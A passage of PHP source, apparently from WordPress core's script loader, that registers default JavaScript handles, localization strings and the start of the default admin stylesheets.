	$scripts->add( 'wp-backbone', "/wp-includes/js/wp-backbone$suffix.js", array( 'backbone', 'wp-util' ), false, 1 );

	$scripts->add( 'revisions', "/wp-admin/js/revisions$suffix.js", array( 'wp-backbone', 'jquery-ui-slider', 'hoverIntent' ), false, 1 );

	$scripts->add( 'imgareaselect', "/wp-includes/js/imgareaselect/jquery.imgareaselect$suffix.js", array( 'jquery' ), false, 1 );

	$scripts->add( 'mediaelement', false, array( 'jquery', 'mediaelement-core', 'mediaelement-migrate' ), '4.2.17', 1 );
	$scripts->add( 'mediaelement-core', "/wp-includes/js/mediaelement/mediaelement-and-player$suffix.js", array(), '4.2.17', 1 );
	$scripts->add( 'mediaelement-migrate', "/wp-includes/js/mediaelement/mediaelement-migrate$suffix.js", array(), false, 1 );

	did_action( 'init' ) && $scripts->add_inline_script(
		'mediaelement-core',
		sprintf(
			'var mejsL10n = %s;',
			wp_json_encode(
				array(
					'language' => strtolower( strtok( determine_locale(), '_-' ) ),
					'strings'  => array(
						'mejs.download-file'       => __( 'Download File' ),
						'mejs.install-flash'       => __( 'You are using a browser that does not have Flash player enabled or installed. Please turn on your Flash player plugin or download the latest version from https://get.adobe.com/flashplayer/' ),
						'mejs.fullscreen'          => __( 'Fullscreen' ),
						'mejs.play'                => __( 'Play' ),
						'mejs.pause'               => __( 'Pause' ),
						'mejs.time-slider'         => __( 'Time Slider' ),
						'mejs.time-help-text'      => __( 'Use Left/Right Arrow keys to advance one second, Up/Down arrows to advance ten seconds.' ),
						'mejs.live-broadcast'      => __( 'Live Broadcast' ),
						'mejs.volume-help-text'    => __( 'Use Up/Down Arrow keys to increase or decrease volume.' ),
						'mejs.unmute'              => __( 'Unmute' ),
						'mejs.mute'                => __( 'Mute' ),
						'mejs.volume-slider'       => __( 'Volume Slider' ),
						'mejs.video-player'        => __( 'Video Player' ),
						'mejs.audio-player'        => __( 'Audio Player' ),
						'mejs.captions-subtitles'  => __( 'Captions/Subtitles' ),
						'mejs.captions-chapters'   => __( 'Chapters' ),
						'mejs.none'                => __( 'None' ),
						'mejs.afrikaans'           => __( 'Afrikaans' ),
						'mejs.albanian'            => __( 'Albanian' ),
						'mejs.arabic'              => __( 'Arabic' ),
						'mejs.belarusian'          => __( 'Belarusian' ),
						'mejs.bulgarian'           => __( 'Bulgarian' ),
						'mejs.catalan'             => __( 'Catalan' ),
						'mejs.chinese'             => __( 'Chinese' ),
						'mejs.chinese-simplified'  => __( 'Chinese (Simplified)' ),
						'mejs.chinese-traditional' => __( 'Chinese (Traditional)' ),
						'mejs.croatian'            => __( 'Croatian' ),
						'mejs.czech'               => __( 'Czech' ),
						'mejs.danish'              => __( 'Danish' ),
						'mejs.dutch'               => __( 'Dutch' ),
						'mejs.english'             => __( 'English' ),
						'mejs.estonian'            => __( 'Estonian' ),
						'mejs.filipino'            => __( 'Filipino' ),
						'mejs.finnish'             => __( 'Finnish' ),
						'mejs.french'              => __( 'French' ),
						'mejs.galician'            => __( 'Galician' ),
						'mejs.german'              => __( 'German' ),
						'mejs.greek'               => __( 'Greek' ),
						'mejs.haitian-creole'      => __( 'Haitian Creole' ),
						'mejs.hebrew'              => __( 'Hebrew' ),
						'mejs.hindi'               => __( 'Hindi' ),
						'mejs.hungarian'           => __( 'Hungarian' ),
						'mejs.icelandic'           => __( 'Icelandic' ),
						'mejs.indonesian'          => __( 'Indonesian' ),
						'mejs.irish'               => __( 'Irish' ),
						'mejs.italian'             => __( 'Italian' ),
						'mejs.japanese'            => __( 'Japanese' ),
						'mejs.korean'              => __( 'Korean' ),
						'mejs.latvian'             => __( 'Latvian' ),
						'mejs.lithuanian'          => __( 'Lithuanian' ),
						'mejs.macedonian'          => __( 'Macedonian' ),
						'mejs.malay'               => __( 'Malay' ),
						'mejs.maltese'             => __( 'Maltese' ),
						'mejs.norwegian'           => __( 'Norwegian' ),
						'mejs.persian'             => __( 'Persian' ),
						'mejs.polish'              => __( 'Polish' ),
						'mejs.portuguese'          => __( 'Portuguese' ),
						'mejs.romanian'            => __( 'Romanian' ),
						'mejs.russian'             => __( 'Russian' ),
						'mejs.serbian'             => __( 'Serbian' ),
						'mejs.slovak'              => __( 'Slovak' ),
						'mejs.slovenian'           => __( 'Slovenian' ),
						'mejs.spanish'             => __( 'Spanish' ),
						'mejs.swahili'             => __( 'Swahili' ),
						'mejs.swedish'             => __( 'Swedish' ),
						'mejs.tagalog'             => __( 'Tagalog' ),
						'mejs.thai'                => __( 'Thai' ),
						'mejs.turkish'             => __( 'Turkish' ),
						'mejs.ukrainian'           => __( 'Ukrainian' ),
						'mejs.vietnamese'          => __( 'Vietnamese' ),
						'mejs.welsh'               => __( 'Welsh' ),
						'mejs.yiddish'             => __( 'Yiddish' ),
					),
				)
			)
		),
		'before'
	);

	$scripts->add( 'mediaelement-vimeo', '/wp-includes/js/mediaelement/renderers/vimeo.min.js', array( 'mediaelement' ), '4.2.17', 1 );
	$scripts->add( 'wp-mediaelement', "/wp-includes/js/mediaelement/wp-mediaelement$suffix.js", array( 'mediaelement' ), false, 1 );
	$mejs_settings = array(
		'pluginPath'            => includes_url( 'js/mediaelement/', 'relative' ),
		'classPrefix'           => 'mejs-',
		'stretching'            => 'responsive',
		/** This filter is documented in wp-includes/media.php */
		'audioShortcodeLibrary' => apply_filters( 'wp_audio_shortcode_library', 'mediaelement' ),
		/** This filter is documented in wp-includes/media.php */
		'videoShortcodeLibrary' => apply_filters( 'wp_video_shortcode_library', 'mediaelement' ),
	);
	did_action( 'init' ) && $scripts->localize(
		'mediaelement',
		'_wpmejsSettings',
		/**
		 * Filters the MediaElement configuration settings.
		 *
		 * @since 4.4.0
		 *
		 * @param array $mejs_settings MediaElement settings array.
		 */
		apply_filters( 'mejs_settings', $mejs_settings )
	);

	$scripts->add( 'wp-codemirror', '/wp-includes/js/codemirror/codemirror.min.js', array(), '5.29.1-alpha-ee20357' );
	$scripts->add( 'csslint', '/wp-includes/js/codemirror/csslint.js', array(), '1.0.5' );
	$scripts->add( 'esprima', '/wp-includes/js/codemirror/esprima.js', array(), '4.0.0' );
	$scripts->add( 'jshint', '/wp-includes/js/codemirror/fakejshint.js', array( 'esprima' ), '2.9.5' );
	$scripts->add( 'jsonlint', '/wp-includes/js/codemirror/jsonlint.js', array(), '1.6.2' );
	$scripts->add( 'htmlhint', '/wp-includes/js/codemirror/htmlhint.js', array(), '0.9.14-xwp' );
	$scripts->add( 'htmlhint-kses', '/wp-includes/js/codemirror/htmlhint-kses.js', array( 'htmlhint' ) );
	$scripts->add( 'code-editor', "/wp-admin/js/code-editor$suffix.js", array( 'jquery', 'wp-codemirror', 'underscore' ) );
	$scripts->add( 'wp-theme-plugin-editor', "/wp-admin/js/theme-plugin-editor$suffix.js", array( 'common', 'wp-util', 'wp-sanitize', 'jquery', 'jquery-ui-core', 'wp-a11y', 'underscore' ), false, 1 );
	$scripts->set_translations( 'wp-theme-plugin-editor' );

	$scripts->add( 'wp-playlist', "/wp-includes/js/mediaelement/wp-playlist$suffix.js", array( 'wp-util', 'backbone', 'mediaelement' ), false, 1 );

	$scripts->add( 'zxcvbn-async', "/wp-includes/js/zxcvbn-async$suffix.js", array(), '1.0' );
	did_action( 'init' ) && $scripts->localize(
		'zxcvbn-async',
		'_zxcvbnSettings',
		array(
			'src' => empty( $guessed_url ) ? includes_url( '/js/zxcvbn.min.js' ) : $scripts->base_url . '/wp-includes/js/zxcvbn.min.js',
		)
	);

	$scripts->add( 'password-strength-meter', "/wp-admin/js/password-strength-meter$suffix.js", array( 'jquery', 'zxcvbn-async' ), false, 1 );
	did_action( 'init' ) && $scripts->localize(
		'password-strength-meter',
		'pwsL10n',
		array(
			'unknown'  => _x( 'Password strength unknown', 'password strength' ),
			'short'    => _x( 'Very weak', 'password strength' ),
			'bad'      => _x( 'Weak', 'password strength' ),
			'good'     => _x( 'Medium', 'password strength' ),
			'strong'   => _x( 'Strong', 'password strength' ),
			'mismatch' => _x( 'Mismatch', 'password mismatch' ),
		)
	);
	$scripts->set_translations( 'password-strength-meter' );

	$scripts->add( 'password-toggle', "/wp-admin/js/password-toggle$suffix.js", array(), false, 1 );
	$scripts->set_translations( 'password-toggle' );

	$scripts->add( 'application-passwords', "/wp-admin/js/application-passwords$suffix.js", array( 'jquery', 'wp-util', 'wp-api-request', 'wp-date', 'wp-i18n', 'wp-hooks' ), false, 1 );
	$scripts->set_translations( 'application-passwords' );

	$scripts->add( 'auth-app', "/wp-admin/js/auth-app$suffix.js", array( 'jquery', 'wp-api-request', 'wp-i18n', 'wp-hooks' ), false, 1 );
	$scripts->set_translations( 'auth-app' );

	$scripts->add( 'user-profile', "/wp-admin/js/user-profile$suffix.js", array( 'jquery', 'password-strength-meter', 'wp-util' ), false, 1 );
	$scripts->set_translations( 'user-profile' );
	$user_id = isset( $_GET['user_id'] ) ? (int) $_GET['user_id'] : 0;
	did_action( 'init' ) && $scripts->localize(
		'user-profile',
		'userProfileL10n',
		array(
			'user_id' => $user_id,
			'nonce'   => wp_installing() ? '' : wp_create_nonce( 'reset-password-for-' . $user_id ),
		)
	);

	$scripts->add( 'language-chooser', "/wp-admin/js/language-chooser$suffix.js", array( 'jquery' ), false, 1 );

	$scripts->add( 'user-suggest', "/wp-admin/js/user-suggest$suffix.js", array( 'jquery-ui-autocomplete' ), false, 1 );

	$scripts->add( 'admin-bar', "/wp-includes/js/admin-bar$suffix.js", array( 'hoverintent-js' ), false, 1 );

	$scripts->add( 'wplink', "/wp-includes/js/wplink$suffix.js", array( 'common', 'jquery', 'wp-a11y', 'wp-i18n' ), false, 1 );
	$scripts->set_translations( 'wplink' );
	did_action( 'init' ) && $scripts->localize(
		'wplink',
		'wpLinkL10n',
		array(
			'title'          => __( 'Insert/edit link' ),
			'update'         => __( 'Update' ),
			'save'           => __( 'Add Link' ),
			'noTitle'        => __( '(no title)' ),
			'noMatchesFound' => __( 'No results found.' ),
			'linkSelected'   => __( 'Link selected.' ),
			'linkInserted'   => __( 'Link inserted.' ),
			/* translators: Minimum input length in characters to start searching posts in the "Insert/edit link" modal. */
			'minInputLength' => (int) _x( '3', 'minimum input length for searching post links' ),
		)
	);

	$scripts->add( 'wpdialogs', "/wp-includes/js/wpdialog$suffix.js", array( 'jquery-ui-dialog' ), false, 1 );

	$scripts->add( 'word-count', "/wp-admin/js/word-count$suffix.js", array(), false, 1 );

	$scripts->add( 'media-upload', "/wp-admin/js/media-upload$suffix.js", array( 'thickbox', 'shortcode' ), false, 1 );

	$scripts->add( 'hoverIntent', "/wp-includes/js/hoverIntent$suffix.js", array( 'jquery' ), '1.10.2', 1 );

	// JS-only version of hoverintent (no dependencies).
	$scripts->add( 'hoverintent-js', '/wp-includes/js/hoverintent-js.min.js', array(), '2.2.1', 1 );

	$scripts->add( 'customize-base', "/wp-includes/js/customize-base$suffix.js", array( 'jquery', 'json2', 'underscore' ), false, 1 );
	$scripts->add( 'customize-loader', "/wp-includes/js/customize-loader$suffix.js", array( 'customize-base' ), false, 1 );
	$scripts->add( 'customize-preview', "/wp-includes/js/customize-preview$suffix.js", array( 'wp-a11y', 'customize-base' ), false, 1 );
	$scripts->add( 'customize-models', '/wp-includes/js/customize-models.js', array( 'underscore', 'backbone' ), false, 1 );
	$scripts->add( 'customize-views', '/wp-includes/js/customize-views.js', array( 'jquery', 'underscore', 'imgareaselect', 'customize-models', 'media-editor', 'media-views' ), false, 1 );
	$scripts->add( 'customize-controls', "/wp-admin/js/customize-controls$suffix.js", array( 'customize-base', 'wp-a11y', 'wp-util', 'jquery-ui-core' ), false, 1 );
	did_action( 'init' ) && $scripts->localize(
		'customize-controls',
		'_wpCustomizeControlsL10n',
		array(
			'activate'                => __( 'Activate &amp; Publish' ),
			'save'                    => __( 'Save &amp; Publish' ), // @todo Remove as not required.
			'publish'                 => __( 'Publish' ),
			'published'               => __( 'Published' ),
			'saveDraft'               => __( 'Save Draft' ),
			'draftSaved'              => __( 'Draft Saved' ),
			'updating'                => __( 'Updating' ),
			'schedule'                => _x( 'Schedule', 'customizer changeset action/button label' ),
			'scheduled'               => _x( 'Scheduled', 'customizer changeset status' ),
			'invalid'                 => __( 'Invalid' ),
			'saveBeforeShare'         => __( 'Please save your changes in order to share the preview.' ),
			'futureDateError'         => __( 'You must supply a future date to schedule.' ),
			'saveAlert'               => __( 'The changes you made will be lost if you navigate away from this page.' ),
			'saved'                   => __( 'Saved' ),
			'cancel'                  => __( 'Cancel' ),
			'close'                   => __( 'Close' ),
			'action'                  => __( 'Action' ),
			'discardChanges'          => __( 'Discard changes' ),
			'cheatin'                 => __( 'Something went wrong.' ),
			'notAllowedHeading'       => __( 'You need a higher level of permission.' ),
			'notAllowed'              => __( 'Sorry, you are not allowed to customize this site.' ),
			'previewIframeTitle'      => __( 'Site Preview' ),
			'loginIframeTitle'        => __( 'Session expired' ),
			'collapseSidebar'         => _x( 'Hide Controls', 'label for hide controls button without length constraints' ),
			'expandSidebar'           => _x( 'Show Controls', 'label for hide controls button without length constraints' ),
			'untitledBlogName'        => __( '(Untitled)' ),
			'unknownRequestFail'      => __( 'Looks like something&#8217;s gone wrong. Wait a couple seconds, and then try again.' ),
			'themeDownloading'        => __( 'Downloading your new theme&hellip;' ),
			'themePreviewWait'        => __( 'Setting up your live preview. This may take a bit.' ),
			'revertingChanges'        => __( 'Reverting unpublished changes&hellip;' ),
			'trashConfirm'            => __( 'Are you sure you want to discard your unpublished changes?' ),
			/* translators: %s: Display name of the user who has taken over the changeset in customizer. */
			'takenOverMessage'        => __( '%s has taken over and is currently customizing.' ),
			/* translators: %s: URL to the Customizer to load the autosaved version. */
			'autosaveNotice'          => __( 'There is a more recent autosave of your changes than the one you are previewing. <a href="%s">Restore the autosave</a>' ),
			'videoHeaderNotice'       => __( 'This theme does not support video headers on this page. Navigate to the front page or another page that supports video headers.' ),
			// Used for overriding the file types allowed in Plupload.
			'allowedFiles'            => __( 'Allowed Files' ),
			'customCssError'          => array(
				/* translators: %d: Error count. */
				'singular' => _n( 'There is %d error which must be fixed before you can save.', 'There are %d errors which must be fixed before you can save.', 1 ),
				/* translators: %d: Error count. */
				'plural'   => _n( 'There is %d error which must be fixed before you can save.', 'There are %d errors which must be fixed before you can save.', 2 ),
				// @todo This is lacking, as some languages have a dedicated dual form. For proper handling of plurals in JS, see #20491.
			),
			'pageOnFrontError'        => __( 'Homepage and posts page must be different.' ),
			'saveBlockedError'        => array(
				/* translators: %s: Number of invalid settings. */
				'singular' => _n( 'Unable to save due to %s invalid setting.', 'Unable to save due to %s invalid settings.', 1 ),
				/* translators: %s: Number of invalid settings. */
				'plural'   => _n( 'Unable to save due to %s invalid setting.', 'Unable to save due to %s invalid settings.', 2 ),
				// @todo This is lacking, as some languages have a dedicated dual form. For proper handling of plurals in JS, see #20491.
			),
			'scheduleDescription'     => __( 'Schedule your customization changes to publish ("go live") at a future date.' ),
			'themePreviewUnavailable' => __( 'Sorry, you cannot preview new themes when you have changes scheduled or saved as a draft. Please publish your changes, or wait until they publish to preview new themes.' ),
			'themeInstallUnavailable' => sprintf(
				/* translators: %s: URL to Add Themes admin screen. */
				__( 'You will not be able to install new themes from here yet since your install requires SFTP credentials. For now, please <a href="%s">add themes in the admin</a>.' ),
				esc_url( admin_url( 'theme-install.php' ) )
			),
			'publishSettings'         => __( 'Publish Settings' ),
			'invalidDate'             => __( 'Invalid date.' ),
			'invalidValue'            => __( 'Invalid value.' ),
			'blockThemeNotification'  => sprintf(
				/* translators: 1: Link to Site Editor documentation on HelpHub, 2: HTML button. */
				__( 'Hurray! Your theme supports site editing with blocks. <a href="%1$s">Tell me more</a>. %2$s' ),
				__( 'https://wordpress.org/documentation/article/site-editor/' ),
				sprintf(
					'<button type="button" data-action="%1$s" class="button switch-to-editor">%2$s</button>',
					esc_url( admin_url( 'site-editor.php' ) ),
					__( 'Use Site Editor' )
				)
			),
		)
	);
	$scripts->add( 'customize-selective-refresh', "/wp-includes/js/customize-selective-refresh$suffix.js", array( 'jquery', 'wp-util', 'customize-preview' ), false, 1 );

	$scripts->add( 'customize-widgets', "/wp-admin/js/customize-widgets$suffix.js", array( 'jquery', 'jquery-ui-sortable', 'jquery-ui-droppable', 'wp-backbone', 'customize-controls' ), false, 1 );
	$scripts->add( 'customize-preview-widgets', "/wp-includes/js/customize-preview-widgets$suffix.js", array( 'jquery', 'wp-util', 'customize-preview', 'customize-selective-refresh' ), false, 1 );

	$scripts->add( 'customize-nav-menus', "/wp-admin/js/customize-nav-menus$suffix.js", array( 'jquery', 'wp-backbone', 'customize-controls', 'accordion', 'nav-menu', 'wp-sanitize' ), false, 1 );
	$scripts->add( 'customize-preview-nav-menus', "/wp-includes/js/customize-preview-nav-menus$suffix.js", array( 'jquery', 'wp-util', 'customize-preview', 'customize-selective-refresh' ), false, 1 );

	$scripts->add( 'wp-custom-header', "/wp-includes/js/wp-custom-header$suffix.js", array( 'wp-a11y' ), false, 1 );

	$scripts->add( 'accordion', "/wp-admin/js/accordion$suffix.js", array( 'jquery' ), false, 1 );

	$scripts->add( 'shortcode', "/wp-includes/js/shortcode$suffix.js", array( 'underscore' ), false, 1 );
	$scripts->add( 'media-models', "/wp-includes/js/media-models$suffix.js", array( 'wp-backbone' ), false, 1 );
	did_action( 'init' ) && $scripts->localize(
		'media-models',
		'_wpMediaModelsL10n',
		array(
			'settings' => array(
				'ajaxurl' => admin_url( 'admin-ajax.php', 'relative' ),
				'post'    => array( 'id' => 0 ),
			),
		)
	);

	$scripts->add( 'wp-embed', "/wp-includes/js/wp-embed$suffix.js" );
	did_action( 'init' ) && $scripts->add_data( 'wp-embed', 'strategy', 'defer' );

	/*
	 * To enqueue media-views or media-editor, call wp_enqueue_media().
	 * Both rely on numerous settings, styles, and templates to operate correctly.
	 */
	$scripts->add( 'media-views', "/wp-includes/js/media-views$suffix.js", array( 'utils', 'media-models', 'wp-plupload', 'jquery-ui-sortable', 'wp-mediaelement', 'wp-api-request', 'wp-a11y', 'clipboard' ), false, 1 );
	$scripts->set_translations( 'media-views' );

	$scripts->add( 'media-editor', "/wp-includes/js/media-editor$suffix.js", array( 'shortcode', 'media-views' ), false, 1 );
	$scripts->set_translations( 'media-editor' );
	$scripts->add( 'media-audiovideo', "/wp-includes/js/media-audiovideo$suffix.js", array( 'media-editor' ), false, 1 );
	$scripts->add( 'mce-view', "/wp-includes/js/mce-view$suffix.js", array( 'shortcode', 'jquery', 'media-views', 'media-audiovideo' ), false, 1 );

	$scripts->add( 'wp-api', "/wp-includes/js/wp-api$suffix.js", array( 'jquery', 'backbone', 'underscore', 'wp-api-request' ), false, 1 );

	if ( is_admin() ) {
		$scripts->add( 'admin-tags', "/wp-admin/js/tags$suffix.js", array( 'jquery', 'wp-ajax-response' ), false, 1 );
		$scripts->set_translations( 'admin-tags' );

		$scripts->add( 'admin-comments', "/wp-admin/js/edit-comments$suffix.js", array( 'wp-lists', 'quicktags', 'jquery-query' ), false, 1 );
		$scripts->set_translations( 'admin-comments' );
		did_action( 'init' ) && $scripts->localize(
			'admin-comments',
			'adminCommentsSettings',
			array(
				'hotkeys_highlight_first' => isset( $_GET['hotkeys_highlight_first'] ),
				'hotkeys_highlight_last'  => isset( $_GET['hotkeys_highlight_last'] ),
			)
		);

		$scripts->add( 'xfn', "/wp-admin/js/xfn$suffix.js", array( 'jquery' ), false, 1 );

		$scripts->add( 'postbox', "/wp-admin/js/postbox$suffix.js", array( 'jquery-ui-sortable', 'wp-a11y' ), false, 1 );
		$scripts->set_translations( 'postbox' );

		$scripts->add( 'tags-box', "/wp-admin/js/tags-box$suffix.js", array( 'jquery', 'tags-suggest' ), false, 1 );
		$scripts->set_translations( 'tags-box' );

		$scripts->add( 'tags-suggest', "/wp-admin/js/tags-suggest$suffix.js", array( 'common', 'jquery-ui-autocomplete', 'wp-a11y', 'wp-i18n' ), false, 1 );
		$scripts->set_translations( 'tags-suggest' );

		$scripts->add( 'post', "/wp-admin/js/post$suffix.js", array( 'suggest', 'wp-lists', 'postbox', 'tags-box', 'underscore', 'word-count', 'wp-a11y', 'wp-sanitize', 'clipboard' ), false, 1 );
		$scripts->set_translations( 'post' );

		$scripts->add( 'editor-expand', "/wp-admin/js/editor-expand$suffix.js", array( 'jquery', 'underscore' ), false, 1 );

		$scripts->add( 'link', "/wp-admin/js/link$suffix.js", array( 'wp-lists', 'postbox' ), false, 1 );

		$scripts->add( 'comment', "/wp-admin/js/comment$suffix.js", array( 'jquery', 'postbox' ), false, 1 );
		$scripts->set_translations( 'comment' );

		$scripts->add( 'admin-gallery', "/wp-admin/js/gallery$suffix.js", array( 'jquery-ui-sortable' ) );

		$scripts->add( 'admin-widgets', "/wp-admin/js/widgets$suffix.js", array( 'jquery-ui-sortable', 'jquery-ui-draggable', 'jquery-ui-droppable', 'wp-a11y' ), false, 1 );
		$scripts->set_translations( 'admin-widgets' );

		$scripts->add( 'media-widgets', "/wp-admin/js/widgets/media-widgets$suffix.js", array( 'jquery', 'media-models', 'media-views', 'wp-api-request' ) );
		$scripts->add_inline_script( 'media-widgets', 'wp.mediaWidgets.init();', 'after' );

		$scripts->add( 'media-audio-widget', "/wp-admin/js/widgets/media-audio-widget$suffix.js", array( 'media-widgets', 'media-audiovideo' ) );
		$scripts->add( 'media-image-widget', "/wp-admin/js/widgets/media-image-widget$suffix.js", array( 'media-widgets' ) );
		$scripts->add( 'media-gallery-widget', "/wp-admin/js/widgets/media-gallery-widget$suffix.js", array( 'media-widgets' ) );
		$scripts->add( 'media-video-widget', "/wp-admin/js/widgets/media-video-widget$suffix.js", array( 'media-widgets', 'media-audiovideo', 'wp-api-request' ) );
		$scripts->add( 'text-widgets', "/wp-admin/js/widgets/text-widgets$suffix.js", array( 'jquery', 'backbone', 'editor', 'wp-util', 'wp-a11y' ) );
		$scripts->add( 'custom-html-widgets', "/wp-admin/js/widgets/custom-html-widgets$suffix.js", array( 'jquery', 'backbone', 'wp-util', 'jquery-ui-core', 'wp-a11y' ) );

		$scripts->add( 'theme', "/wp-admin/js/theme$suffix.js", array( 'wp-backbone', 'wp-a11y', 'customize-base' ), false, 1 );

		$scripts->add( 'inline-edit-post', "/wp-admin/js/inline-edit-post$suffix.js", array( 'jquery', 'tags-suggest', 'wp-a11y' ), false, 1 );
		$scripts->set_translations( 'inline-edit-post' );

		$scripts->add( 'inline-edit-tax', "/wp-admin/js/inline-edit-tax$suffix.js", array( 'jquery', 'wp-a11y' ), false, 1 );
		$scripts->set_translations( 'inline-edit-tax' );

		$scripts->add( 'plugin-install', "/wp-admin/js/plugin-install$suffix.js", array( 'jquery', 'jquery-ui-core', 'thickbox' ), false, 1 );
		$scripts->set_translations( 'plugin-install' );

		$scripts->add( 'site-health', "/wp-admin/js/site-health$suffix.js", array( 'clipboard', 'jquery', 'wp-util', 'wp-a11y', 'wp-api-request', 'wp-url', 'wp-i18n', 'wp-hooks' ), false, 1 );
		$scripts->set_translations( 'site-health' );

		$scripts->add( 'privacy-tools', "/wp-admin/js/privacy-tools$suffix.js", array( 'jquery', 'wp-a11y' ), false, 1 );
		$scripts->set_translations( 'privacy-tools' );

		$scripts->add( 'updates', "/wp-admin/js/updates$suffix.js", array( 'common', 'jquery', 'wp-util', 'wp-a11y', 'wp-sanitize', 'wp-i18n' ), false, 1 );
		$scripts->set_translations( 'updates' );
		did_action( 'init' ) && $scripts->localize(
			'updates',
			'_wpUpdatesSettings',
			array(
				'ajax_nonce' => wp_installing() ? '' : wp_create_nonce( 'updates' ),
			)
		);

		$scripts->add( 'farbtastic', '/wp-admin/js/farbtastic.js', array( 'jquery' ), '1.2' );

		$scripts->add( 'iris', '/wp-admin/js/iris.min.js', array( 'jquery-ui-draggable', 'jquery-ui-slider', 'jquery-touch-punch' ), '1.1.1', 1 );
		$scripts->add( 'wp-color-picker', "/wp-admin/js/color-picker$suffix.js", array( 'iris' ), false, 1 );
		$scripts->set_translations( 'wp-color-picker' );

		$scripts->add( 'dashboard', "/wp-admin/js/dashboard$suffix.js", array( 'jquery', 'admin-comments', 'postbox', 'wp-util', 'wp-a11y', 'wp-date' ), false, 1 );
		$scripts->set_translations( 'dashboard' );

		$scripts->add( 'list-revisions', "/wp-includes/js/wp-list-revisions$suffix.js" );

		$scripts->add( 'media-grid', "/wp-includes/js/media-grid$suffix.js", array( 'media-editor' ), false, 1 );
		$scripts->add( 'media', "/wp-admin/js/media$suffix.js", array( 'jquery', 'clipboard', 'wp-i18n', 'wp-a11y' ), false, 1 );
		$scripts->set_translations( 'media' );

		$scripts->add( 'image-edit', "/wp-admin/js/image-edit$suffix.js", array( 'jquery', 'jquery-ui-core', 'json2', 'imgareaselect', 'wp-a11y' ), false, 1 );
		$scripts->set_translations( 'image-edit' );

		$scripts->add( 'set-post-thumbnail', "/wp-admin/js/set-post-thumbnail$suffix.js", array( 'jquery' ), false, 1 );
		$scripts->set_translations( 'set-post-thumbnail' );

		/*
		 * Navigation Menus: Adding underscore as a dependency to utilize _.debounce
		 * see https://core.trac.wordpress.org/ticket/42321
		 */
		$scripts->add( 'nav-menu', "/wp-admin/js/nav-menu$suffix.js", array( 'jquery-ui-sortable', 'jquery-ui-draggable', 'jquery-ui-droppable', 'wp-lists', 'postbox', 'json2', 'underscore' ) );
		$scripts->set_translations( 'nav-menu' );

		$scripts->add( 'custom-header', '/wp-admin/js/custom-header.js', array( 'jquery-masonry' ), false, 1 );
		$scripts->add( 'custom-background', "/wp-admin/js/custom-background$suffix.js", array( 'wp-color-picker', 'media-views' ), false, 1 );
		$scripts->add( 'media-gallery', "/wp-admin/js/media-gallery$suffix.js", array( 'jquery' ), false, 1 );

		$scripts->add( 'svg-painter', '/wp-admin/js/svg-painter.js', array( 'jquery' ), false, 1 );
	}
}

/**
 * Assigns default styles to $styles object.
 *
 * Nothing is returned, because the $styles parameter is passed by reference.
 * Meaning that whatever object is passed will be updated without having to
 * reassign the variable that was passed back to the same value. This saves
 * memory.
 *
 * Adding default styles is not the only task, it also assigns the base_url
 * property, the default version, and text direction for the object.
 *
 * @since 2.6.0
 *
 * @global array $editor_styles
 *
 * @param WP_Styles $styles
 */
function wp_default_styles( $styles ) {
	global $editor_styles;

	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';

	if ( ! defined( 'SCRIPT_DEBUG' ) ) {
		/*
		 * Note: str_contains() is not used here, as this file can be included
		 * via wp-admin/load-scripts.php or wp-admin/load-styles.php, in which case
		 * the polyfills from wp-includes/compat.php are not loaded.
		 */
		define( 'SCRIPT_DEBUG', false !== strpos( $wp_version, '-src' ) );
	}

	$guessurl = site_url();

	if ( ! $guessurl ) {
		$guessurl = wp_guess_url();
	}

	$styles->base_url        = $guessurl;
	$styles->content_url     = defined( 'WP_CONTENT_URL' ) ? WP_CONTENT_URL : '';
	$styles->default_version = get_bloginfo( 'version' );
	$styles->text_direction  = function_exists( 'is_rtl' ) && is_rtl() ? 'rtl' : 'ltr';
	$styles->default_dirs    = array( '/wp-admin/', '/wp-includes/css/' );

	// Open Sans is no longer used by core, but may be relied upon by themes and plugins.
	$open_sans_font_url = '';

	/*
	 * translators: If there are characters in your language that are not supported
	 * by Open Sans, translate this to 'off'. Do not translate into your own language.
	 */
	if ( 'off' !== _x( 'on', 'Open Sans font: on or off' ) ) {
		$subsets = 'latin,latin-ext';

		/*
		 * translators: To add an additional Open Sans character subset specific to your language,
		 * translate this to 'greek', 'cyrillic' or 'vietnamese'. Do not translate into your own language.
		 */
		$subset = _x( 'no-subset', 'Open Sans font: add new subset (greek, cyrillic, vietnamese)' );

		if ( 'cyrillic' === $subset ) {
			$subsets .= ',cyrillic,cyrillic-ext';
		} elseif ( 'greek' === $subset ) {
			$subsets .= ',greek,greek-ext';
		} elseif ( 'vietnamese' === $subset ) {
			$subsets .= ',vietnamese';
		}

		// Hotlink Open Sans, for now.
		$open_sans_font_url = "https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,300,400,600&subset=$subsets&display=fallback";
	}

	// Register a stylesheet for the selected admin color scheme.
	$styles->add( 'colors', true, array( 'wp-admin', 'buttons' ) );

	$suffix = SCRIPT_DEBUG ? '' : '.min';

	// Admin CSS.
	$styles->add( 'common', "/wp-admin/css/common$suffix.css" );
	$styles->add( 'forms', "/wp-admin/css/forms$suffix.css" );
	$styles->add( 'admin-menu', "/wp-admin/css/admin-menu$suffix.css" );
	$styles->add( 'dashboard', "/wp-admin/css/dashboard$suffix.css" );
	$styles->add( 'list-tables', "/wp-admin/css/list-tables$suffix.css" );
	$styles->add( 'edit', "/wp-admin/css/edit$suffix.css" );
	$styles->add( 'revisions', "/wp-admin/css/revisions$suffix.css" );
	$styles->add( 'media', "/wp-admin/css/media$suffix.css" );
	$styles->add( 'themes', "/wp-admin/css/themes$suffix.css" );
	$styles->add( 'about', "/wp-admin/css/about$suffix.css" );
	$styles->add( 'nav-menus', "/wp-admin/css/nav-menus$suffix.css" );
	$styles->add( 'widgets', "/wp-admin/css/widgets$suffix.css", array( 'wp-pointer' ) );
	$styles->add( 'site-icon', "/wp-admin/css/site-icon$suffix.css" );
	$styles->add( 'l10n', "/wp-admin/css/l10n$suffix.css" );
	$styles->add( 'code-editor', "/wp-admin/css/code-editor$suffix.css", array( 'wp-codemirror' ) );
	$styles->add( 'site-health', "/wp-admin/css/site-health$suffix.css" );

	$styles->add( 'wp-admin', false, array( 'dashicons', 'common', 'forms', 'admin-menu', 'dashboard', 'list-tables', 'edit', 'revisions', 'media', 'themes', 'about', 'nav-menus', 'widgets', 'site-icon', 'l10n' ) );

	$styles->add( 'login', "/wp-admin/css/login$suffix.css", array( 'dashicons', 'buttons', 'forms', 'l10n' ) );
